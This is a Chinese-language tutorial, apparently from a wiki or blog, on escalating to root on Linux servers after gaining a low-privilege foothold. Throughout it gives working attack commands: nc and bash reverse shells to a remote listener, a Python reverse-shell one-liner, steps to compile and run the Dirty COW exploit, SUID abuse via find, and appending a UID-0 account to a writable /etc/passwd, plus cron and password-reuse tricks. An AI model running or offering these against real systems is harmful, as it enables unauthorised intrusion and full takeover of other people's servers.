🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
# Linux系统提权 当拿到了一台Linux服务器的低权限账号后,要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。 ## linux内核知识 Linux内核版本号由3组数字组成:第一个组数字:内核主版本。 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。第三个组数字:错误修补的次数。 3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。 ```sh #使用以下命令也可以看到系统内核及版本的一些信息: uname -a #查看内核的具体信息 cat /proc/version #查看内核的具体信息 cat /etc/centos-release #查看centos发行版本 cat /etc/redhat-release #查看redhat发行版本 ``` ## Linux提权方法总结 Linux提权的前提: 1. 拿到了一个低权限的账号 2. 能上传和下载文件 3. 机器上有python、java、perl等环境(非必须项) ### 一、Linux反弹提权 **如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。 ** #### 1、NC反弹shell **NC详情参考:**https://www.cnblogs.com/nmap/p/6148306.html **①nc参数介绍** ```sh -l 指定nc将处于侦听模式,nc被当作server,侦听并接受连接。 -p <port>指定端口,老版本才需要-p -s 指定发送数据的源IP地址,适用于多网卡机 -u 指定nc使用UDP协议,默认为TCP -v 输出交互或出错信息,新手调试时尤为有用 -w 超时秒数,后面跟数字 -z 表示zero,表示扫描时不发送任何数据 ``` **②nc做tcp监听** ```sh # 开启本地8080端口监听 nc nc -l -p 80802 ``` **③nc反弹服务器shell** **方法⑴:**公网主机绑定SHELL ```sh #在公网监听端口5555端口,并绑定shell nc -lp 5555 -t -e cmd.exe #在内网主动建立到外网IP:5555的连接 nc -nvv x.x.x.x 5555 ``` **方法⑵:**内网主机绑定SHELL ```sh #在公网监听端口 nc -lp 5555 #在内网机器绑定shell反弹 nc -t -e cmd x.x.x.x 5555 ``` #### 2、利用bash直接反弹 **(1) bash反弹一句话** ```sh #先公网监听 nc -l -p 8080 #在内网bash反弹 bash -i >& /dev/tcp/x.x.x.x/8080 0>&1 ``` 网上还有很多方法一句话反弹shell,需要自行搜索 ### 二、内核漏洞提权——脏牛 1. **脏牛漏洞:** 又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。 2. **漏洞范围:** Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复) 3. **简要分析:** 该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。 竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。 恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。 3. **exp:** [https://github.com/gbonacini/CVE-2016-5195](https://github.com/gbonacini/CVE-2016-5195) #### 示例:脏牛内核提权 1. 首先确定发行版、内核版 ```sh cat /etc/issue cat /etc/*-release uname -a ``` 2. 根据内核版本,找exp,下载对应dirty.c文件编译 ```sh gcc -pthread dirty.c -o dirty -lcrypt ``` 3. 执行当前编译的dirty.c文件,然后输入新密码123456 ```sh ./dirty #执行后,会将原来的passwd文件备份到/tmp目录 #然后创建的新账号是firefart,密码123456 ``` 4. 等创建成功后,切换到firefart用户 会发现此用户会发现已经是root权限了。 最好立刻再新建一个管理员账号,然后立刻恢复passwd文件。 因为这个提权不是新建了一个账号,而已用新账号替换了root账号,所以要把root账号恢复回去 ### 三、SUID提权 SUID(设置用户ID)是赋予文件的一种特殊权限,拥有改权限的程序,任何用户执行的时候都是改命令都是以root权限执行的 suid提权是指这类有S权限的程序,如果能执行命令,那么我们就能从用改程序从普通用户提升到了root权限 #### SUID可用命令 **⑴在本地查找符合条件的文件,有以下三个命令** ```sh #尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; ``` **⑵已知的可用来提权的linux可行性的文件列表如下:** ```sh nmap vim find bash more less nano cp ``` #### 示例:利用find文件提权 假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。 1. 查看具有root用户权限的SUID文件 ```sh find / -perm -u=s -type f 2>/dev/null ``` 2. 发现有find命令,再确认一下 ```sh ls -lh /usr/bin/find #权限是rwsr-xr-x 确实有s权限 ``` 3. 测试是否能用find命令以root权限运行 ```sh /usr/bin/find examples.desktop -exec whoami \; #发现确实可以以root权限运行 ``` 4. 然后查看目标网站上是否的python环境 linux服务器一般都自带python,区别是有些2.X,有些3.x 5. 于是我们以root用户的身份利用python反弹shell, ```python #反弹一个sh类型的shell python -c 'import socket,subprocess,os; \ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \ s.connect(("192.168.10.25",4444)); \ os.dup2(s.fileno(),0); \ os.dup2(s.fileno(),1); \ os.dup2(s.fileno(),2); \ p=subprocess.call(["/bin/sh","-i"]);' ``` 6. 远端nc监听`nc -lvp 4444` 可以看到,在攻击端收到了反弹过来的shell,并且是root身份 >本节来自:https://blog.csdn.net/qq_36119192/article/details/84872644 ### 四、Linux配置错误提权 **利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权** **对Linux配置进行检查的脚本有:** https://www.securitysift.com/download/linuxprivchecker.py http://pentestmonkey.net/tools/audit/unix-privesc-check **当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。** 接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。 1. 查看 /etc/passwd 的权限,发现任何用户都可以读写。 我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。 2. **首先,使用perl语言生成带有盐值的密码:** ```sh perl -le 'print crypt("password@123","addedsalt")' ``` 3. **然后将test用户的信息加入 /etc/passwd 文件** ```sh echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd ``` 4. **以`test/password@123`登录主机** 登录成功后,是 root 权限。 ### 五、定时任务提权 系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。 非root权限的用户是不可以列出root 用户的计划任务的。但是系统的计划任务`/etc、cron*`可以被列出。 默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。 1. 列出系统定时任务 ```sh ls -l /etc/cron* ``` 2. 查看列出的目录中,是否允许普通用户修改 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。 如果允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。 ### 六、密码复用提权 我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码,或者该参考该密码命名规则。那么就可以尝试一下 su root 来提权了。